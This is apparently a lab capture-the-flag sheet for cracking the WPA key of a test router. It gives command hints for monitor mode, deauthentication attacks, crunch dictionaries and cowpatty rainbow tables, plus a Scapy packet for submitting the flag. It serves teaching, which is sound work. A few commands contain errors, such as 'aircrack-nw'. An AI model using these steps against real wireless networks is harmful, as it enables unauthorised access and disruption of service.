WPA Cracking Challenge

The scope of this challenge is to retrieve the WPA key of the router and capture the flag on the network.
The router to crack is the one with SSID = “NetworkSecurityWPA”

Flags is in an HTTP Server at this address http://192.168.1.2:8000

Once captured the flag you must forge and send an UDP message with the following configuration:

IP Address: 192.168.1.2
UDP Destination Port: 5555
Message:[WPACrackingChallenge][Name_Surname] text of the flag

Hints:

- For put network card in monitor mode
  - $/etc/init.d/network-manager stop
  - $iw dev <<YOUR_NETWORK_CARD_NAME>> interface add wlan0mon type monitor
- For sniff AP Traffic
  - $airodump-ng wlan0mon
  - you can also use some options for airodump to filter the captured data
  - use $airodump-ng --help to show available options
    - some commons options:
      - -c <<N_CHANNEL>> filter with number of channels
      - --bssid <<AP_BSSID>> filter for AP bssid
- For cracking WPA capture we must user aircrack with the following command
  - $aircrack-nw <<wpa_capture.cap>>
- For sending deauth packets
  - $aireplay-ng -0 2 -a <<AP_BSSID>> wlan0mon
- For creating dictionary:
  - $crunch <min_lenght> <max_lenght> charset [-t <pattern>] -o output
  - Other hints: Password length = 8 characters, pattern: netws
    - Example:
    - $crunch 6 6 qwertyuiopasdfghjklzxcvbnm -t b@@@ -o dictionary

- For Creating Rainbow table
  - Install cowpatty with the script install_cowpatty_ubuntu.sh
    - Crack WPA with cowpatty
    - $cowpatty -d <<rainbow_table>> -r <<capture_file>> -s <<NETWORK_SSID>> -2
  - For Generation of Rainbow table
    - $genpmk -f <<our_dictionary>> -s <<NETWORK_SSID>> -d <<output_rainbow_table>>
    - As dictionary we can use the one created with crunch
- For sending UDP data with Scapy:
  - sendp(Ether()/IP(dst=<<Destination_IP_Address>>)/UDP(sport=<<SOURCE_PORT>>, dport=<<Destination_Port>>)/Raw(load='<<MESSAGE>>'))